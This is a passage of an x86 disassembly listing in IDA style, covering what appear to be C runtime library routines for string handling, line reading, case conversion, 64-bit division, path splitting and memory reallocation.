loc_418E0A loc_418DFB: ; CODE XREF: sub_418DE0+28j mov al, [edi] inc edi test al, al jz short loc_418E3B test edi, 3 jnz short loc_418DFB loc_418E0A: ; CODE XREF: sub_418DE0+19j ; sub_418DE0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_418E0A mov eax, [edi-4] test al, al jz short loc_418E48 test ah, ah jz short loc_418E43 test eax, 0FF0000h jz short loc_418E3E test eax, 0FF000000h jnz short loc_418E0A loc_418E3B: ; CODE XREF: sub_418DE0+20j dec edi jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E3E: ; CODE XREF: sub_418DE0+52j sub edi, 2 jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E43: ; CODE XREF: sub_418DE0+4Bj sub edi, 3 jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E48: ; CODE XREF: sub_418DE0+47j sub edi, 4 loc_418E4B: ; CODE XREF: sub_418DE0+5Cj ; sub_418DE0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_418E60 mov ebx, ecx shr ecx, 2 jnz short loc_418EAC jmp short loc_418E7C ; --------------------------------------------------------------------------- loc_418E60: ; CODE XREF: sub_418DE0+75j ; sub_418DE0+93j mov dl, [esi] inc esi test dl, dl jz short loc_418E9A mov [edi], dl inc edi dec ecx jz short loc_418E90 test esi, 3 jnz short loc_418E60 mov ebx, ecx shr ecx, 2 jnz short loc_418EAC loc_418E7C: ; CODE XREF: sub_418DE0+7Ej ; sub_418DE0+CAj mov ecx, ebx and ecx, 3 jz short loc_418E90 loc_418E83: ; CODE XREF: sub_418DE0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_418E92 dec ecx jnz short loc_418E83 loc_418E90: ; CODE XREF: sub_418DE0+8Bj ; sub_418DE0+A1j mov [edi], cl loc_418E92: ; CODE XREF: sub_418DE0+ABj pop ebx pop esi loc_418E94: ; CODE XREF: sub_418DE0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418E9A: ; CODE XREF: sub_418DE0+85j ; sub_418DE0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EA4: ; CODE XREF: sub_418DE0+E4j ; sub_418DE0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_418E7C loc_418EAC: ; CODE XREF: sub_418DE0+7Cj ; sub_418DE0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418EA4 test dl, dl jz short loc_418E9A test dh, dh jz short loc_418EF8 test edx, 0FF0000h jz short loc_418EE8 test edx, 0FF000000h jnz short loc_418EA4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EE8: ; CODE XREF: sub_418DE0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EF8: ; CODE XREF: sub_418DE0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F10 proc near ; CODE XREF: sub_407252+2A2p ; sub_40EE72+31DBp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_418F31 xor eax, eax jmp short loc_418F33 ; --------------------------------------------------------------------------- loc_418F31: ; CODE XREF: sub_418F10+1Bj mov eax, edi loc_418F33: ; CODE XREF: sub_418F10+1Fj cld pop edi leave retn sub_418F10 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_418F50 loc_418F40: ; CODE XREF: sub_418F50+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_418F50 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_408C26+DBp ; sub_40DAF0+32p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_418F56: ; CODE XREF: sub_417880+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_418F7B loc_418F68: ; CODE XREF: sub_418F50+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_418F40 test cl, cl jz short loc_418FC4 test edx, 3 jnz short loc_418F68 loc_418F7B: ; CODE XREF: sub_418F50+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_418F86: ; CODE XREF: sub_418F50+61j ; sub_418F50+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_418FC8 and eax, 81010100h jz short loc_418F86 and eax, 1010100h jnz short loc_418FC2 and esi, 80000000h jnz short loc_418F86 loc_418FC2: ; CODE XREF: sub_418F50+68j ; sub_418F50+81j ... pop esi pop edi loc_418FC4: ; CODE XREF: sub_418F50+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_418FC8: ; CODE XREF: sub_418F50+5Aj mov eax, [edx-4] cmp al, bl jz short loc_419005 test al, al jz short loc_418FC2 cmp ah, bl jz short loc_418FFE test ah, ah jz short loc_418FC2 shr eax, 10h cmp al, bl jz short loc_418FF7 test al, al jz short loc_418FC2 cmp ah, bl jz short loc_418FF0 test ah, ah jz short loc_418FC2 jmp short loc_418F86 ; --------------------------------------------------------------------------- loc_418FF0: ; CODE XREF: sub_418F50+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_418FF7: ; CODE XREF: sub_418F50+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_418FFE: ; CODE XREF: sub_418F50+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_419005: ; CODE XREF: sub_418F50+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_418F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41900C proc near ; CODE XREF: sub_408C26+AFp ; sub_40EE72+47F2p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_419020 xor eax, eax jmp short loc_419056 ; --------------------------------------------------------------------------- loc_419020: ; CODE XREF: sub_41900C+Ej dec [ebp+arg_4] push esi jz short loc_419050 mov esi, [ebp+arg_8] loc_419029: ; CODE XREF: sub_41900C+42j dec dword ptr [esi+4] js short loc_419038 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41903F ; --------------------------------------------------------------------------- loc_419038: ; CODE XREF: sub_41900C+20j push esi call sub_41E248 pop ecx loc_41903F: ; CODE XREF: sub_41900C+2Aj cmp eax, 0FFFFFFFFh jz short loc_41905A mov [edi], al inc edi cmp al, 0Ah jz short loc_419050 dec [ebp+arg_4] jnz short loc_419029 loc_419050: ; CODE XREF: sub_41900C+18j ; sub_41900C+3Dj ... and byte ptr [edi], 0 loc_419053: ; CODE XREF: sub_41900C+55j mov eax, ebx pop esi loc_419056: ; CODE XREF: sub_41900C+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41905A: ; CODE XREF: sub_41900C+36j cmp edi, [ebp+arg_0] jnz short loc_419050 xor ebx, ebx jmp short loc_419053 sub_41900C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419063 proc near ; CODE XREF: sub_409209+BFp ; sub_409209+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4CDA48 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_419097 mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_4190FE loc_41907F: ; CODE XREF: sub_419063+30j mov cl, [edx] cmp cl, 61h jl short loc_419090 cmp cl, 7Ah jg short loc_419090 sub cl, 20h mov [edx], cl loc_419090: ; CODE XREF: sub_419063+21j ; sub_419063+26j inc edx cmp [edx], bl jnz short loc_41907F jmp short loc_4190FE ; --------------------------------------------------------------------------- loc_419097: ; CODE XREF: sub_419063+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_41E709 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_4190F0 push edi call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_4190F0 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4CDA48 call sub_41E709 add esp, 20h test eax, eax jz short loc_4190F0 push [ebp+var_4] push [ebp+arg_0] call sub_4179C0 pop ecx pop ecx loc_4190F0: ; CODE XREF: sub_419063+53j ; sub_419063+61j ... push [ebp+var_4] call sub_417C3B mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_4190FE: ; CODE XREF: sub_419063+1Aj ; sub_419063+32j pop ebx leave retn sub_419063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419101 proc near ; CODE XREF: sub_40A951+6p ; sub_40A96F+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4CDA48, 0 push ebx push esi push edi jnz short loc_41912E mov eax, [ebp+arg_0] cmp eax, 41h jl loc_4191C7 cmp eax, 5Ah jg loc_4191C7 add eax, 20h jmp loc_4191C7 ; --------------------------------------------------------------------------- loc_41912E: ; CODE XREF: sub_419101+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_419162 cmp dword_433E7C, esi jle short loc_419150 push esi push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41915A ; --------------------------------------------------------------------------- loc_419150: ; CODE XREF: sub_419101+42j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, esi loc_41915A: ; CODE XREF: sub_419101+4Dj test eax, eax jnz short loc_419162 loc_41915E: ; CODE XREF: sub_419101+ADj mov eax, ebx jmp short loc_4191C7 ; --------------------------------------------------------------------------- loc_419162: ; CODE XREF: sub_419101+3Aj ; sub_419101+5Bj mov edx, off_433C70 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_419186 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41918F ; --------------------------------------------------------------------------- loc_419186: ; CODE XREF: sub_419101+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41918F: ; CODE XREF: sub_419101+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4CDA48 call sub_41E709 add esp, 20h test eax, eax jz short loc_41915E cmp eax, esi jnz short loc_4191BA movzx eax, [ebp+var_4] jmp short loc_4191C7 ; --------------------------------------------------------------------------- loc_4191BA: ; CODE XREF: sub_419101+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4191C7: ; CODE XREF: sub_419101+16j ; sub_419101+1Fj ... pop edi pop esi pop ebx leave retn sub_419101 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4191D0 proc near ; CODE XREF: sub_40B822+3Dp ; sub_40D01A+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_4191F1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_419241 ; --------------------------------------------------------------------------- loc_4191F1: ; CODE XREF: sub_4191D0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_4191FF: ; CODE XREF: sub_4191D0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4191FF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41922A cmp edx, [esp+4+arg_4] ja short loc_41922A jb short loc_419232 cmp eax, [esp+4+arg_0] jbe short loc_419232 loc_41922A: ; CODE XREF: sub_4191D0+4Aj ; sub_4191D0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_419232: ; CODE XREF: sub_4191D0+52j ; sub_4191D0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_419241: ; CODE XREF: sub_4191D0+1Fj pop ebx retn 10h sub_4191D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419250 proc near ; CODE XREF: sub_40B822+24p ; sub_40D01A+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_419272 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4192B3 ; --------------------------------------------------------------------------- loc_419272: ; CODE XREF: sub_419250+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_419280: ; CODE XREF: sub_419250+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_419280 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4192AE cmp edx, [esp+8+arg_4] ja short loc_4192AE jb short loc_4192AF cmp eax, [esp+8+arg_0] jbe short loc_4192AF loc_4192AE: ; CODE XREF: sub_419250+4Ej ; sub_419250+54j dec esi loc_4192AF: ; CODE XREF: sub_419250+56j ; sub_419250+5Cj xor edx, edx mov eax, esi loc_4192B3: ; CODE XREF: sub_419250+20j pop esi pop ebx retn 10h sub_419250 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192B8 proc near ; CODE XREF: sub_40B8D8+1E3p ; ___:0040E7A0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_417AB0 cmp eax, 1 pop ecx jb short loc_4192F3 cmp byte ptr [ebx+1], 3Ah jnz short loc_4192F3 mov esi, [ebp+arg_4] test esi, esi jz short loc_4192EF push 2 push ebx push esi call sub_41ED0D add esp, 0Ch and byte ptr [esi+2], 0 loc_4192EF: ; CODE XREF: sub_4192B8+25j inc ebx inc ebx jmp short loc_4192FD ; --------------------------------------------------------------------------- loc_4192F3: ; CODE XREF: sub_4192B8+18j ; sub_4192B8+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_4192FD and byte ptr [eax], 0 loc_4192FD: ; CODE XREF: sub_4192B8+39j ; sub_4192B8+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_419375 loc_419310: ; CODE XREF: sub_4192B8+87j mov cl, [eax] movzx edx, cl test byte_4CEF01[edx], 4 jz short loc_419321 inc eax jmp short loc_41933B ; --------------------------------------------------------------------------- loc_419321: ; CODE XREF: sub_4192B8+64j cmp cl, 2Fh jz short loc_419335 cmp cl, 5Ch jz short loc_419335 cmp cl, 2Eh jnz short loc_41933B mov [ebp+var_4], eax jmp short loc_41933B ; --------------------------------------------------------------------------- loc_419335: ; CODE XREF: sub_4192B8+6Cj ; sub_4192B8+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41933B: ; CODE XREF: sub_4192B8+67j ; sub_4192B8+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_419310 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_419375 cmp [ebp+arg_8], 0 jz short loc_419370 sub edi, ebx cmp edi, esi jb short loc_419359 mov edi, esi loc_419359: ; CODE XREF: sub_4192B8+9Dj push edi push ebx push [ebp+arg_8] call sub_41ED0D mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_419370: ; CODE XREF: sub_4192B8+97j mov ebx, [ebp+arg_4] jmp short loc_41937F ; --------------------------------------------------------------------------- loc_419375: ; CODE XREF: sub_4192B8+56j ; sub_4192B8+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41937F and byte ptr [ecx], 0 loc_41937F: ; CODE XREF: sub_4192B8+BBj ; sub_4192B8+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_4193D2 cmp edi, ebx jb short loc_4193D2 cmp [ebp+arg_C], 0 jz short loc_4193AF sub edi, ebx cmp edi, esi jb short loc_419398 mov edi, esi loc_419398: ; CODE XREF: sub_4192B8+DCj push edi push ebx push [ebp+arg_C] call sub_41ED0D mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4193AF: ; CODE XREF: sub_4192B8+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_4193FA sub eax, [ebp+var_4] cmp eax, esi jnb short loc_4193BF mov esi, eax loc_4193BF: ; CODE XREF: sub_4192B8+103j push esi push [ebp+var_4] push edi call sub_41ED0D add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D2: ; CODE XREF: sub_4192B8+CCj ; sub_4192B8+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_4193F0 sub eax, ebx cmp eax, esi jnb short loc_4193E1 mov esi, eax loc_4193E1: ; CODE XREF: sub_4192B8+125j push esi push ebx push edi call sub_41ED0D add esp, 0Ch and byte ptr [esi+edi], 0 loc_4193F0: ; CODE XREF: sub_4192B8+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_4193FA and byte ptr [eax], 0 loc_4193FA: ; CODE XREF: sub_4192B8+FCj ; sub_4192B8+118j ... pop edi pop esi pop ebx leave retn sub_4192B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193FF proc near ; CODE XREF: sub_40BFE1+19p ; sub_40D633+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41943D mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41944A ; --------------------------------------------------------------------------- loc_41943D: ; CODE XREF: sub_4193FF+34j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_41944A: ; CODE XREF: sub_4193FF+3Cj mov eax, esi pop esi leave retn sub_4193FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41944F proc near ; CODE XREF: sub_40C259+2Ep ; sub_418603+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41946A push [ebp+arg_4] call sub_417B89 pop ecx jmp loc_4196EA ; --------------------------------------------------------------------------- loc_41946A: ; CODE XREF: sub_41944F+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41947F push [ebp+arg_0] call sub_417C3B pop ecx jmp loc_4196E8 ; --------------------------------------------------------------------------- loc_41947F: ; CODE XREF: sub_41944F+20j mov eax, dword_4CF028 cmp eax, 3 jnz loc_41958F loc_41948D: ; CODE XREF: sub_41944F+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41956B push [ebp+arg_0] call sub_41AD89 mov ebx, eax pop ecx test ebx, ebx jz loc_419546 cmp esi, dword_4CF020 ja short loc_4194FF mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41B592 add esp, 0Ch test eax, eax jnz short loc_4194FB push esi call sub_41B0DD mov edi, eax pop ecx test edi, edi jz short loc_4194FF mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4194DF mov eax, esi loc_4194DF: ; CODE XREF: sub_41944F+8Cj push eax push ebx push edi call sub_417390 push ebx call sub_41AD89 push [ebp+arg_0] mov ebx, eax push ebx call sub_41ADB4 add esp, 18h loc_4194FB: ; CODE XREF: sub_41944F+74j test edi, edi jnz short loc_419542 loc_4194FF: ; CODE XREF: sub_41944F+62j ; sub_41944F+81j test esi, esi jnz short loc_419506 push 1 pop esi loc_419506: ; CODE XREF: sub_41944F+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4CF024 call near ptr 2710000h nop mov edi, eax test edi, edi jz short loc_419542 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41952E mov eax, esi loc_41952E: ; CODE XREF: sub_41944F+DBj push eax push ecx push edi call sub_417390 push [ebp+arg_0] push ebx call sub_41ADB4 add esp, 14h loc_419542: ; CODE XREF: sub_41944F+AEj ; sub_41944F+D0j test ebx, ebx jnz short loc_419567 loc_419546: ; CODE XREF: sub_41944F+56j test esi, esi jnz short loc_41954D push 1 pop esi loc_41954D: ; CODE XREF: sub_41944F+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4CF024 nop call near ptr 2810000h mov edi, eax loc_419567: ; CODE XREF: sub_41944F+F5j test edi, edi jnz short loc_419588 loc_41956B: ; CODE XREF: sub_41944F+43j cmp dword_4CDA14, 0 jz short loc_419588 push esi call sub_41AB54 test eax, eax pop ecx jnz loc_41948D jmp loc_4196E8 ; --------------------------------------------------------------------------- loc_419588: ; CODE XREF: sub_41944F+11Aj ; sub_41944F+123j ... mov eax, edi jmp loc_4196EA ; --------------------------------------------------------------------------- loc_41958F: ; CODE XREF: sub_41944F+38j cmp eax, 2 jnz loc_4196AA cmp esi, 0FFFFFFE0h ja short loc_4195AC test esi, esi jbe short loc_4195A9 add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_4195AC ; --------------------------------------------------------------------------- loc_4195A9: ; CODE XREF: sub_41944F+150j push 10h pop esi loc_4195AC: ; CODE XREF: sub_41944F+14Cj ; sub_41944F+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41968C lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41BAE4 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_419670 cmp esi, dword_435EB4 jnb short loc_419634 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BEAC add esp, 10h test eax, eax jz short loc_4195FA mov edi, [ebp+arg_0] jmp short loc_41962C ; --------------------------------------------------------------------------- loc_4195FA: ; CODE XREF: sub_41944F+1A4j push edi call sub_41BB80 mov edi, eax pop ecx test edi, edi jz short loc_419634 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419613 mov eax, esi loc_419613: ; CODE XREF: sub_41944F+1C0j push eax push [ebp+arg_0] push edi call sub_417390 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BB3B add esp, 18h loc_41962C: ; CODE XREF: sub_41944F+1A9j test edi, edi jnz loc_419588 loc_419634: ; CODE XREF: sub_41944F+18Bj ; sub_41944F+1B6j push esi push 0 push dword_4CF024 nop call near ptr 2710000h mov edi, eax test edi, edi jz short loc_41968C movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419655 mov eax, esi loc_419655: ; CODE XREF: sub_41944F+202j push eax push [ebp+arg_0] push edi call sub_417390 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BB3B add esp, 18h jmp short loc_419684 ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_41944F+17Fj push esi push [ebp+arg_0] push 0 push dword_4CF024 nop call near ptr 2810000h mov edi, eax loc_419684: ; CODE XREF: sub_41944F+21Fj test edi, edi jnz loc_419588 loc_41968C: ; CODE XREF: sub_41944F+162j ; sub_41944F+1F8j cmp dword_4CDA14, 0 jz loc_419588 push esi call sub_41AB54 test eax, eax pop ecx jnz loc_4195AC jmp short loc_4196E8 ; --------------------------------------------------------------------------- loc_4196AA: ; CODE XREF: sub_41944F+143j ; sub_41944F+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_4196D4 test esi, esi jnz short loc_4196B8 push 1 pop esi loc_4196B8: ; CODE XREF: sub_41944F+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4CF024 nop call near ptr 2810000h test eax, eax jnz short loc_4196EA loc_4196D4: ; CODE XREF: sub_41944F+260j cmp dword_4CDA14, 0 jz short loc_4196EA push esi call sub_41AB54 test eax, eax pop ecx jnz short loc_4196AA loc_4196E8: ; CODE XREF: sub_41944F+2Bj ; sub_41944F+134j ... xor eax, eax loc_4196EA: ; CODE XREF: sub_41944F+16j ; sub_41944F+13Bj ... pop edi pop esi pop ebx leave retn sub_41944F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196EF proc near ; CODE XREF: sub_40C8B4+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_419713 xor eax, eax jmp loc_4197E0 ; --------------------------------------------------------------------------- loc_419713: ; CODE XREF: sub_4196EF+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_419726 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41972D ; --------------------------------------------------------------------------- loc_419726: ; CODE XREF: sub_4196EF+2Dj mov [ebp+arg_C], 1000h loc_41972D: ; CODE XREF: sub_4196EF+35j ; sub_4196EF+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_419761 mov eax, [esi+4] test eax, eax jz short loc_419761 cmp ebx, eax mov edi, ebx jb short loc_419747 mov edi, eax loc_419747: ; CODE XREF: sub_4196EF+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_417390 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_4197A7 ; --------------------------------------------------------------------------- loc_419761: ; CODE XREF: sub_4196EF+47j ; sub_4196EF+4Ej cmp ebx, [ebp+arg_C] jb short loc_4197AC test ecx, ecx jz short loc_419775 push esi call sub_41A7D0 test eax, eax pop ecx jnz short loc_4197EE loc_419775: ; CODE XREF: sub_4196EF+79j cmp [ebp+arg_C], 0 jz short loc_419788 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41978A ; --------------------------------------------------------------------------- loc_419788: ; CODE XREF: sub_4196EF+8Aj mov edi, ebx loc_41978A: ; CODE XREF: sub_4196EF+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_41ED97 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4197E5 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_4197E5 loc_4197A7: ; CODE XREF: sub_4196EF+70j mov edi, [ebp+var_4] jmp short loc_4197D5 ; --------------------------------------------------------------------------- loc_4197AC: ; CODE XREF: sub_4196EF+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_419D23 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4197EE inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_4197D5 mov [ebp+arg_C], 1 loc_4197D5: ; CODE XREF: sub_4196EF+BBj ; sub_4196EF+DDj test ebx, ebx jnz loc_41972D mov eax, [ebp+arg_8] loc_4197E0: ; CODE XREF: sub_4196EF+1Fj ; sub_4196EF+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4197E5: ; CODE XREF: sub_4196EF+ADj ; sub_4196EF+B6j or dword ptr [esi+0Ch], 